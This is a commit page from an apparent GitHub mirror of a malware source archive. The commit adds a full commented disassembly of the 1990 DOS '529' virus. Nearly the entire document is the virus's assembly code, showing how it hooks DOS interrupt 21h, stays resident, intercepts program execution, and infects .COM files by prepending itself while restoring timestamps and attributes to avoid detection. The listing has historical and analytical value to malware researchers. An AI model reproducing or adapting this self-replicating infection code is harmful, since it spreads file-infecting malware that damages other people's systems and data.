mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
Add files via upload
This commit is contained in:
vxunderground
GitHub
@@ -0,0 +1,347 @@
|
||||
; virus 529 extracted from full memory dump published by N.N.Bezrukov
|
||||
; in Virus Guide (Computer Virology) edition 3.5. First information about this
|
||||
; virus has been released by D.N.Lozinsky (Leningrad USSR) before june 1990.
|
||||
;
|
||||
; Dissasembly: A.Kadlof 1990-08-31
|
||||
;
|
||||
; Virus code is placed at the begining of the file
|
||||
|
||||
0100 B815CA MOV AX,CA15 ; is resident part alredy instaled?
|
||||
0103 8B361B01 MOV SI,[011B] ; offset of oryginal first 529 bytes
|
||||
0107 BF0001 MOV DI,0100 ; begining of the file
|
||||
010A 8B0E1D01 MOV CX,[011D] ; 0211h = 529 virus length
|
||||
010E 8B1E1901 MOV BX,[0119] ; 0101h or less means: do not disable
|
||||
0112 CD21 INT 21 ; resident part of the virus
|
||||
|
||||
; if resident part of the virus is instaled then INT 21 with AX = CA15
|
||||
; will start infected program, atherwise we will come here
|
||||
|
||||
0114 FF361F01 PUSH [011F] ; jump to CS:0147
|
||||
0118 C3 RET
|
||||
|
||||
;------------------
|
||||
; virus date area
|
||||
|
||||
0119 01 01 ; flag - disable virus request
|
||||
011B D0 07 ; adress of oryginal 529 byte of the file, oryginal file length
|
||||
; plus 100h (size of memory image of file + PSP)
|
||||
011D 11 02 ; virus length
|
||||
011F 47 01 ; offset of virus code after working area
|
||||
0121 79 00 ; ??
|
||||
0123 C0 01
|
||||
0125 04 00
|
||||
0127 C4 01 ; offset of new INT 21h handler
|
||||
0129 4D 00
|
||||
012B 11 02 EA 00 FB ; ??
|
||||
0130 02 01 00 FC 02 01 00 ; ??
|
||||
|
||||
; EXEC Parameter Block
|
||||
|
||||
0137 00 00 ; segment of child enviroment
|
||||
0139 80 00 0E 25 ; adress of command line
|
||||
013D 5C 00 0E 25 ; adress of first FCB
|
||||
013F 6C 00 0E 25 ; adress of second FCB
|
||||
|
||||
0145 CA 01 ; offset of virus int 21h handler
|
||||
|
||||
;---------------------------------------------------------------
|
||||
; continue instalation of virus if resident part is not present
|
||||
|
||||
0147 A11D01 MOV AX,[011D] ; 0211h virus length
|
||||
014A 051401 ADD AX,0114 ; AX := 325h length of buffer and
|
||||
; working area
|
||||
014D 90 NOP
|
||||
014E A30503 MOV [0305],AX ; I/O buffer
|
||||
0151 03061D01 ADD AX,[011D]
|
||||
0155 050001 ADD AX,0100
|
||||
0158 A30D03 MOV [030D],AX
|
||||
015B 8BE0 MOV SP,AX
|
||||
015D 050F00 ADD AX,000F
|
||||
0160 B104 MOV CL,04
|
||||
0162 D3E8 SHR AX,CL
|
||||
0164 A30F03 MOV [030F],AX ; memory (in paragraphs) requested by
|
||||
0167 06 PUSH ES ; virus (64 paragraphs)
|
||||
|
||||
; capture INT 21h
|
||||
|
||||
0168 B82135 MOV AX,3521 ; get INT 21h
|
||||
016B CD21 INT 21
|
||||
|
||||
; store it
|
||||
|
||||
016D 8C06FF02 MOV [02FF],ES
|
||||
0171 891EFD02 MOV [02FD],BX
|
||||
|
||||
0175 07 POP ES ; restore from the stack
|
||||
0176 8B162701 MOV DX,[0127] ; offset of new INT 21h
|
||||
017A B82125 MOV AX,2521 ; set INT 21h
|
||||
017D CD21 INT 21
|
||||
|
||||
017F 8B1E0F03 MOV BX,[030F] ; size of requested memory
|
||||
0183 B44A MOV AH,4A ; modify allocated memory block
|
||||
0185 CD21 INT 21
|
||||
|
||||
0187 8CC0 MOV AX,ES
|
||||
0189 A33B01 MOV [013B],AX ; prepare EXEC Parameter Block
|
||||
018C A33F01 MOV [013F],AX
|
||||
018F A34301 MOV [0143],AX
|
||||
|
||||
0192 8E1E2C00 MOV DS,[002C] ; enviroment block
|
||||
0196 33F6 XOR SI,SI ; point at the begining of block
|
||||
|
||||
0198 AC LODSB
|
||||
0199 0A04 OR AL,[SI] ; look for 0, 0 marker
|
||||
019B 75FB JNZ 0198
|
||||
|
||||
019D 83C603 ADD SI,+03 ; point at full pathname
|
||||
01A0 8BD6 MOV DX,SI ; offset of name of virus carrier
|
||||
01A2 BB3701 MOV BX,0137 ; adres of EXEC parameter block
|
||||
01A5 B8004B MOV AX,4B00 ; Load & Execute
|
||||
01A8 CD21 INT 21
|
||||
|
||||
01AA 8CC8 MOV AX,CS
|
||||
01AC 8ED0 MOV SS,AX ; restore stack pointers
|
||||
01AE 2E CS:
|
||||
01AF 8B260D03 MOV SP,[030D]
|
||||
01B3 B44D MOV AH,4D ; get return code of subprogram
|
||||
01B5 CD21 INT 21
|
||||
|
||||
01B7 2E CS:
|
||||
01B8 8B160F03 MOV DX,[030F] ; needed number of paragraphs
|
||||
01BC B431 MOV AH,31 ; terminate but stay resident
|
||||
01BE CD21 INT 21
|
||||
|
||||
01C0 B44C MOV AH,4C ; terminate process
|
||||
01C2 CD21 INT 21
|
||||
|
||||
;----------------------
|
||||
; new INT 21h handler
|
||||
|
||||
01C4 2E CS:
|
||||
01C5 FF364501 PUSH [0145] ; 01CA
|
||||
01C9 C3 RET
|
||||
|
||||
01CA 3D15CA CMP AX,CA15 ; virus call?
|
||||
01CD 7519 JNZ 01E8 ; no
|
||||
|
||||
01CF 2E CS:
|
||||
01D0 3B1E1901 CMP BX,[0119] ; disable request?
|
||||
01D4 7608 JBE 01DE ; no
|
||||
|
||||
; disable resident part of virus
|
||||
|
||||
01D6 2E CS:
|
||||
01D7 C70645010C02 MOV WORD PTR [0145],020C
|
||||
01DD CF IRET
|
||||
|
||||
; return to infected file, first copy oryginal 529 bytes from the end of the
|
||||
; file to the begining (registers should be prepared by caller)
|
||||
|
||||
01DE F3 REPZ
|
||||
01DF A4 MOVSB
|
||||
|
||||
01E0 58 POP AX
|
||||
01E1 B80001 MOV AX,0100 ; new start adress
|
||||
01E4 50 PUSH AX
|
||||
01E5 33C0 XOR AX,AX
|
||||
01E7 CF IRET
|
||||
|
||||
; is it Load & Execute request?
|
||||
|
||||
01E8 3D004B CMP AX,4B00 ; Load & Execute
|
||||
01EB 751F JNZ 020C ; no, jump to oryginal INT 21h
|
||||
|
||||
; check the name of loaded file (is it COM or not)
|
||||
|
||||
01ED 06 PUSH ES
|
||||
01EE 1E PUSH DS
|
||||
01EF 07 POP ES
|
||||
01F0 8BFA MOV DI,DX ; name of loaded file
|
||||
01F2 B9FFFF MOV CX,FFFF ; length of searched block
|
||||
01F5 F2 REPNZ
|
||||
01F6 AE SCASB ; AL = 0;
|
||||
01F7 26 ES:
|
||||
01F8 8A45FE MOV AL,[DI-02] ; last letter of extension of name
|
||||
01FB 0C20 OR AL,20 ; convert to lower letter
|
||||
01FD 3C6D CMP AL,6D ; 'm' (is it COM?)
|
||||
01FF 07 POP ES
|
||||
0200 7505 JNZ 0207 ; no
|
||||
|
||||
0202 E80C00 CALL 0211 ; infect loaded file
|
||||
|
||||
0205 EB03 JMP 020A
|
||||
|
||||
0207 E8F100 CALL 02FB ; CS:02FB RET
|
||||
|
||||
020A 32C0 XOR AL,AL
|
||||
|
||||
020C 2E CS:
|
||||
020D FF2EFD02 JMP FAR [02FD] ; oryginal INT 21h
|
||||
|
||||
;---------------------------
|
||||
; Infection of the new file
|
||||
|
||||
0211 06 PUSH ES
|
||||
0212 50 PUSH AX
|
||||
0213 53 PUSH BX
|
||||
0214 1E PUSH DS
|
||||
0215 52 PUSH DX
|
||||
0216 8BEC MOV BP,SP
|
||||
|
||||
0218 0E PUSH CS
|
||||
0219 1F POP DS
|
||||
|
||||
021A B82435 MOV AX,3524 ; get INT 24h
|
||||
021D CD21 INT 21
|
||||
|
||||
021F 8C060303 MOV [0303],ES
|
||||
0223 891E0103 MOV [0301],BX
|
||||
|
||||
0227 BAF802 MOV DX,02F8 ; offset of virus INT 24h handler
|
||||
022A B82425 MOV AX,2524 ; set interrupt vector 24h
|
||||
022D CD21 INT 21
|
||||
|
||||
022F 1E PUSH DS
|
||||
0230 8B5600 MOV DX,[BP+00] ; adress of loaded file name
|
||||
0233 8E5E02 MOV DS,[BP+02]
|
||||
0236 B80043 MOV AX,4300 ; get file attributes
|
||||
0239 CD21 INT 21
|
||||
|
||||
023B 7250 JB 028D ; problems
|
||||
|
||||
023D 2E CS:
|
||||
023E 890E0B03 MOV [030B],CX ; store current file attributes
|
||||
0242 B80143 MOV AX,4301 ; set file attributes
|
||||
0245 33C9 XOR CX,CX ; clear all attributes
|
||||
0247 CD21 INT 21
|
||||
|
||||
0249 7242 JB 028D ; problems
|
||||
|
||||
024B B8023D MOV AX,3D02 ; open file for read\write
|
||||
024E CD21 INT 21
|
||||
|
||||
0250 7274 JB 02C6 ; problems
|
||||
|
||||
0252 1F POP DS
|
||||
0253 8BD8 MOV BX,AX
|
||||
0255 B80057 MOV AX,5700 ; get file date
|
||||
0258 CD21 INT 21
|
||||
|
||||
025A 726A JB 02C6 ; problems
|
||||
|
||||
025C 890E0703 MOV [0307],CX ; store time
|
||||
0260 89160903 MOV [0309],DX ; store date
|
||||
|
||||
0264 8B160503 MOV DX,[0305] ; offset of buffer
|
||||
0268 8B0E1D01 MOV CX,[011D] ; number of bytes to read (full virus)
|
||||
026C B43F MOV AH,3F ; read from file
|
||||
026E CD21 INT 21
|
||||
|
||||
0270 7254 JB 02C6 ; problems
|
||||
|
||||
0272 3BC1 CMP AX,CX ; check for I/O problems
|
||||
0274 7550 JNZ 02C6 ; problems
|
||||
|
||||
; compare first 19h bytes (25) to check is file alredy infected
|
||||
|
||||
0276 0E PUSH CS
|
||||
0277 07 POP ES
|
||||
0278 BF0001 MOV DI,0100
|
||||
027B 8BF2 MOV SI,DX
|
||||
027D B91900 MOV CX,0019
|
||||
0280 F3 REPZ
|
||||
0281 A6 CMPSB
|
||||
0282 7442 JZ 02C6 ; file infected
|
||||
|
||||
0284 B80242 MOV AX,4202 ; move file pointer
|
||||
0287 33C9 XOR CX,CX ; to the end of file
|
||||
0289 8BD1 MOV DX,CX ; CX:DX = 0
|
||||
028B CD21 INT 21
|
||||
|
||||
028D 7237 JB 02C6 ; problems
|
||||
|
||||
028F 0BD2 OR DX,DX ; file over 64 Kb
|
||||
0291 7533 JNZ 02C6 ; problems
|
||||
|
||||
0293 050001 ADD AX,0100
|
||||
0296 A31B01 MOV [011B],AX
|
||||
0299 3D00F0 CMP AX,F000
|
||||
029C 7728 JA 02C6 ; file to big
|
||||
|
||||
029E 3DD007 CMP AX,07D0 ; file to small
|
||||
02A1 7223 JB 02C6 ; problems
|
||||
|
||||
02A3 8B0E1D01 MOV CX,[011D] ; number of bytes
|
||||
02A7 8B160503 MOV DX,[0305] ; offset of disk I/O buffer
|
||||
02AB B440 MOV AH,40 ; write to file
|
||||
02AD CD21 INT 21
|
||||
|
||||
02AF 7215 JB 02C6 ; problems
|
||||
|
||||
02B1 B80042 MOV AX,4200 ; move file pointer
|
||||
02B4 33D2 XOR DX,DX ; to the beginning of file
|
||||
02B6 8BCA MOV CX,DX ; CX:DX = 0
|
||||
02B8 CD21 INT 21
|
||||
|
||||
02BA 720A JB 02C6 ; problems
|
||||
|
||||
02BC FEC6 INC DH
|
||||
02BE 8B0E1D01 MOV CX,[011D] ; number of bytes
|
||||
02C2 B440 MOV AH,40 ; write to file
|
||||
02C4 CD21 INT 21
|
||||
|
||||
;----------------------------------
|
||||
; exit if any troubles or when done
|
||||
|
||||
02C6 B80157 MOV AX,5701 ; set file time and date
|
||||
02C9 8B0E0703 MOV CX,[0307] ; recall time
|
||||
02CD 8B160903 MOV DX,[0309] ; recall data
|
||||
02D1 CD21 INT 21
|
||||
|
||||
02D3 B43E MOV AH,3E ; Close file (BX = handle)
|
||||
02D5 CD21 INT 21
|
||||
|
||||
02D7 B80143 MOV AX,4301 ; set file attributes
|
||||
02DA 8B0E0B03 MOV CX,[030B] ; recall attributes
|
||||
02DE 8E5E02 MOV DS,[BP+02] ; segment of file name (ASCIIZ)
|
||||
02E1 8B5600 MOV DX,[BP+00] ; offset of file name (ASCIIZ)
|
||||
02E4 CD21 INT 21
|
||||
|
||||
02E6 2E CS:
|
||||
02E7 C5160103 LDS DX,[0301]
|
||||
02EB B82425 MOV AX,2524 ; restore INT 24h
|
||||
02EE CD21 INT 21
|
||||
|
||||
02F0 8BE5 MOV SP,BP
|
||||
02F2 5A POP DX
|
||||
02F3 1F POP DS
|
||||
02F4 5B POP BX
|
||||
02F5 58 POP AX
|
||||
02F6 07 POP ES
|
||||
02F7 C3 RET
|
||||
|
||||
;----------------------------------
|
||||
; INT 24h handler during infection
|
||||
|
||||
02F8 B003 MOV AL,03
|
||||
02FA CF IRET
|
||||
|
||||
02FB C3 RET
|
||||
|
||||
02FC C3 RET
|
||||
|
||||
;--------------
|
||||
; date holder
|
||||
|
||||
02FD 5C 06 FD 18 ; old INT 21h holder
|
||||
0301 56 05 9D 10 ; old INT 24h holder
|
||||
0305 25 03 ; offset of disk I/O buffer
|
||||
0307 36 00 ; file time
|
||||
0309 21 00 ; file date
|
||||
030B 20 00 ; file attributes
|
||||
030D 36 06 ; SP holder
|
||||
030F 64 00 ; segment-paragraph just beyond the end of resident part
|
||||
|
||||
0325 ; I/O bufer
|
||||
|
||||
|
||||
Reference in New Issue
Block a user